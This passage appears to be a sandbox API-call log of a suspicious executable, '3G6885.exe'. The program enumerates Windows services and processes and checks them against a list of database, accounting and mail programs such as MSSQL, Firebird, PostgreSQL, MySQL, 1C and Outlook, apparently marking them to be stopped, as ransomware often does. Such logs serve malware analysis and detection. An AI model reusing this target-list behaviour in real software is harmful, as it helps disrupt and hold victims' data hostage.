[0172.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0172.643] lstrlenW (lpString="NlaSvc") returned 6 [0172.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0172.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0172.643] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0172.643] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0172.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0172.643] lstrlenW (lpString="nsi") returned 3 [0172.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0172.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0172.643] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0172.643] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0172.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0172.643] lstrlenW (lpString="PcaSvc") returned 6 [0172.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0172.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0172.643] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0172.644] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0172.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0172.644] lstrlenW (lpString="PlugPlay") returned 8 [0172.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0172.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0172.644] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0172.644] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0172.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0172.644] lstrlenW (lpString="Power") returned 5 [0172.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0172.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0172.644] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0172.644] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0172.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0172.644] lstrlenW (lpString="ProfSvc") returned 7 [0172.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0172.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0172.644] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0172.645] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0172.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0172.645] lstrlenW (lpString="RpcEptMapper") returned 12 [0172.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0172.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0172.645] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0172.645] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0172.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0172.645] lstrlenW (lpString="RpcSs") returned 5 [0172.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0172.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0172.645] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0172.645] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0172.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0172.645] lstrlenW (lpString="SamSs") returned 5 [0172.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0172.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0172.645] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0172.646] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0172.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0172.646] lstrlenW (lpString="Schedule") returned 8 [0172.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0172.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0172.646] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0172.646] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0172.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0172.646] lstrlenW (lpString="SENS") returned 4 [0172.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0172.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0172.646] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0172.646] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0172.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0172.646] lstrlenW (lpString="ShellHWDetection") returned 16 [0172.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0172.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0172.646] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0172.646] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0172.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0172.647] lstrlenW (lpString="Spooler") returned 7 [0172.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0172.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0172.647] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0172.647] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0172.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0172.647] lstrlenW (lpString="SysMain") returned 7 [0172.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0172.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0172.647] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0172.647] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0172.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0172.647] lstrlenW (lpString="Themes") returned 6 [0172.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0172.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0172.647] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0172.647] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0172.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0172.647] lstrlenW (lpString="TrkWks") returned 6 [0172.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0172.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0172.648] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0172.648] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0172.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0172.648] lstrlenW (lpString="UxSms") returned 5 [0172.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0172.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0172.648] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0172.648] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0172.648] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0172.648] lstrlenW (lpString="WdiServiceHost") returned 14 [0172.648] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0172.648] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0172.648] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0172.649] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0172.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0172.649] lstrlenW (lpString="WdiSystemHost") returned 13 [0172.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0172.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0172.649] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0172.649] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0172.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0172.649] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0172.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0172.649] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0172.649] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0172.649] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0172.649] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0172.649] lstrlenW (lpString="Winmgmt") returned 7 [0172.649] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0172.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0172.650] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0172.650] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0172.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0172.650] lstrlenW (lpString="WPDBusEnum") returned 10 [0172.650] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0172.650] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0172.650] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0172.650] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0172.650] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0172.650] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f2050 | out: hHeap=0x300000) returned 1 [0172.650] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17c [0172.653] Process32FirstW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0172.653] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0172.654] lstrlenW (lpString="System") returned 6 [0172.654] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0172.654] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0172.654] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0172.654] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0172.654] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0172.654] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0172.654] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0172.654] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0172.655] lstrlenW (lpString="smss.exe") returned 8 [0172.655] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0172.655] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0172.655] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0172.655] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0172.655] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0172.655] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0172.655] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0172.655] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0172.656] lstrlenW (lpString="csrss.exe") returned 9 [0172.656] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0172.656] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0172.656] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0172.656] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0172.656] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0172.656] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0172.656] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0172.656] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0172.657] lstrlenW (lpString="wininit.exe") returned 11 [0172.657] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0172.657] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0172.657] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0172.657] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0172.657] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0172.657] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0172.657] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0172.657] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0172.657] lstrlenW (lpString="csrss.exe") returned 9 [0172.658] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0172.658] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0172.658] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0172.658] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0172.658] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0172.658] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0172.658] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0172.659] lstrlenW (lpString="winlogon.exe") returned 12 [0172.659] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0172.659] lstrlenW (lpString="services.exe") returned 12 [0172.659] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0172.660] lstrlenW (lpString="lsass.exe") returned 9 [0172.660] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0172.660] lstrlenW (lpString="lsm.exe") returned 7 [0172.660] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.661] lstrlenW (lpString="svchost.exe") returned 11 [0172.661] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.661] lstrlenW (lpString="svchost.exe") returned 11 [0172.661] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.662] lstrlenW (lpString="svchost.exe") returned 11 [0172.662] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.662] lstrlenW (lpString="svchost.exe") returned 11 [0172.662] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.663] lstrlenW (lpString="svchost.exe") returned 11 [0172.663] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0172.663] lstrlenW (lpString="audiodg.exe") returned 11 [0172.663] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.664] lstrlenW (lpString="svchost.exe") returned 11 [0172.664] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.664] lstrlenW (lpString="svchost.exe") returned 11 [0172.664] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0172.665] lstrlenW (lpString="spoolsv.exe") returned 11 [0172.665] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0172.665] lstrlenW (lpString="taskhost.exe") returned 12 [0172.665] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0172.666] lstrlenW (lpString="svchost.exe") returned 11 [0172.666] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0172.666] lstrlenW (lpString="dwm.exe") returned 7 [0172.666] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0172.667] lstrlenW (lpString="explorer.exe") returned 12 [0172.667] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0172.667] lstrlenW (lpString="3G6885.exe") returned 10 [0172.667] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0172.668] lstrlenW (lpString="reader_sl.exe") returned 13 [0172.668] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0172.668] lstrlenW (lpString="taskhost.exe") returned 12 [0172.668] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0172.669] lstrlenW (lpString="dllhost.exe") returned 11 [0172.669] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0172.669] lstrlenW (lpString="rundll32.exe") returned 12 [0172.669] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x5d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dinotify.exe")) returned 1 [0172.670] lstrlenW (lpString="dinotify.exe") returned 12 [0172.670] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x63c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0172.670] lstrlenW (lpString="dllhost.exe") returned 11 [0172.670] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0172.670] lstrlenW (lpString="3G6885.exe") returned 10 [0172.671] Process32NextW (in: hSnapshot=0x17c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 0 [0172.671] CloseHandle (hObject=0x17c) returned 1 [0172.671] Sleep (dwMilliseconds=0x1f4) [0173.181] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41d21c8 [0173.182] EnumServicesStatusExW (in: hSCManager=0x41d21c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0173.182] GetLastError () returned 0xea [0173.182] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x3f2050 [0173.182] EnumServicesStatusExW (in: hSCManager=0x41d21c8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3f2050, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3f2050, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0173.183] CloseServiceHandle (hSCObject=0x41d21c8) returned 1 [0173.183] lstrlenW (lpString="Appinfo") returned 7 [0173.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0173.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0173.183] lstrcmpiW (lpString1="sqlwriter", 